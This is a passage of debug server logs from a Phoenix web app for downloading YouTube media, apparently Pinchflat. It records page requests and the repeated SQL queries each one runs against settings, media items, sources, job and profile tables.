s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.367 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.367 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.368 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.369 [info] Sent 200 in 3ms 04:53:42.523 [info] GET /sources/30/media/141039 04:53:42.523 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 04:53:42.525 [debug] QUERY OK source="media_items" db=0.4ms idle=157.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 04:53:42.526 [debug] QUERY OK source="tasks" db=0.2ms idle=158.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 04:53:42.526 [debug] QUERY OK source="sources" db=0.7ms idle=158.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:42.527 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=159.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 04:53:42.529 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=160.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.529 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.531 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.533 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.539 [info] Sent 200 in 15ms 04:53:42.594 [info] GET /sources/31/media/91114 04:53:42.594 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91114", "source_id" => "31"} Pipelines: [:browser] 04:53:42.596 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=67.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 04:53:42.598 [debug] QUERY OK source="tasks" db=1.4ms idle=67.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91114] 04:53:42.598 [debug] QUERY OK source="sources" db=1.4ms idle=67.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.600 [debug] QUERY OK source="oban_jobs" db=1.2ms idle=68.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6792, 6810, 6829, 6848, 6865, 6883, 6910, 6928, 6945, 6964, 6981, 6997, 7014, 7030, 7048, 7064, 7081, 7098, 7114, 7131, 7147, 7165, 7181, 7198, 7217, 7234, 7253, 7269, 7286] 04:53:42.602 [debug] QUERY OK source="settings" db=0.2ms idle=69.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.603 [debug] QUERY OK source="settings" db=0.3ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.604 [debug] QUERY OK source="settings" db=0.3ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.606 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.619 [info] Sent 200 in 25ms 04:53:42.695 [info] GET /sources/31/media/90907 04:53:42.696 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90907", "source_id" => "31"} Pipelines: [:browser] 04:53:42.697 [debug] QUERY OK source="media_items" db=0.8ms idle=95.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 04:53:42.699 [debug] QUERY OK source="tasks" db=1.3ms idle=95.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90907] 04:53:42.699 [debug] QUERY OK source="sources" db=1.1ms idle=94.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.703 [debug] QUERY OK source="oban_jobs" db=1.9ms idle=96.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6791, 6809, 6828, 6847, 6864, 6882, 6909, 6927, 6944, 6963, 6980, 6996, 7013, 7029, 7047, 7063, 7080, 7097, 7113, 7130, 7146, 7164, 7180, 7197, 7216, 7233, 7252, 7268, 7285] 04:53:42.706 [debug] QUERY OK source="settings" db=0.4ms idle=98.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.706 [debug] QUERY OK source="settings" db=0.2ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.708 [debug] QUERY OK source="settings" db=0.2ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.710 [debug] QUERY OK source="media_profiles" db=0.3ms idle=10.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.723 [info] Sent 200 in 27ms 04:53:42.743 [info] GET /sources/31/media/90894 04:53:42.744 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90894", "source_id" => "31"} Pipelines: [:browser] 04:53:42.745 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=41.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 04:53:42.747 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=40.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90894] 04:53:42.748 [debug] QUERY OK source="sources" db=1.4ms idle=40.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.750 [debug] QUERY OK source="oban_jobs" db=1.1ms idle=40.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6790, 6808, 6827, 6846, 6863, 6881, 6908, 6926, 6943, 6962, 6979, 6995, 7012, 7028, 7046, 7062, 7079, 7096, 7112, 7129, 7145, 7163, 7179, 7196, 7215, 7232, 7251, 7267, 7284] 04:53:42.752 [info] GET /sources/31/media/90892 04:53:42.752 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90892", "source_id" => "31"} Pipelines: [:browser] 04:53:42.753 [debug] QUERY OK source="settings" db=0.9ms idle=41.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.753 [info] GET /sources/31/media/90767 04:53:42.753 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90767", "source_id" => "31"} Pipelines: [:browser] 04:53:42.754 [debug] QUERY OK source="media_items" db=1.1ms idle=7.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 04:53:42.755 [debug] QUERY OK source="settings" db=1.2ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.755 [debug] QUERY OK source="media_items" db=0.9ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 04:53:42.759 [debug] QUERY OK source="tasks" db=2.8ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90767] 04:53:42.759 [debug] QUERY OK source="tasks" db=3.4ms queue=0.3ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90892] 04:53:42.760 [debug] QUERY OK source="settings" db=3.8ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.760 [info] GET /media_profiles/new 04:53:42.761 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 04:53:42.761 [debug] QUERY OK source="sources" db=4.9ms queue=0.2ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.761 [debug] QUERY OK source="sources" db=5.4ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:42.764 [debug] QUERY OK source="settings" db=1.5ms queue=0.6ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.766 [debug] QUERY OK source="media_profiles" db=3.6ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.767 [debug] QUERY OK source="settings" db=2.3ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.767 [debug] QUERY OK source="oban_jobs" db=5.2ms queue=0.1ms idle=3.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6789, 6807, 6826, 6845, 6862, 6880, 6907, 6925, 6942, 6961, 6978, 6994, 7011, 7027, 7045, 7061, 7078, 7095, 7111, 7128, 7144, 7162, 7178, 7195, 7214, 7231, 7250, 7266, 7283] 04:53:42.768 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.769 [debug] QUERY OK source="oban_jobs" db=6.4ms idle=1.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6788, 6806, 6825, 6844, 6861, 6879, 6906, 6924, 6941, 6960, 6977, 6993, 7010, 7026, 7044, 7060, 7077, 7094, 7110, 7127, 7143, 7161, 7177, 7194, 7213, 7230, 7249, 7265, 7282] 04:53:42.770 [info] GET /media_profiles/2 04:53:42.771 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 04:53:42.771 [debug] QUERY OK source="settings" db=0.8ms queue=1.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.772 [info] GET /media_profiles/2/ 04:53:42.772 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 04:53:42.773 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.774 [debug] QUERY OK source="media_profiles" db=2.4ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:42.774 [debug] QUERY OK source="settings" db=2.9ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.775 [debug] QUERY OK source="settings" db=2.2ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.776 [debug] QUERY OK source="settings" db=2.6ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:42.777 [debug] QUERY OK source="media_profiles" db=3.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 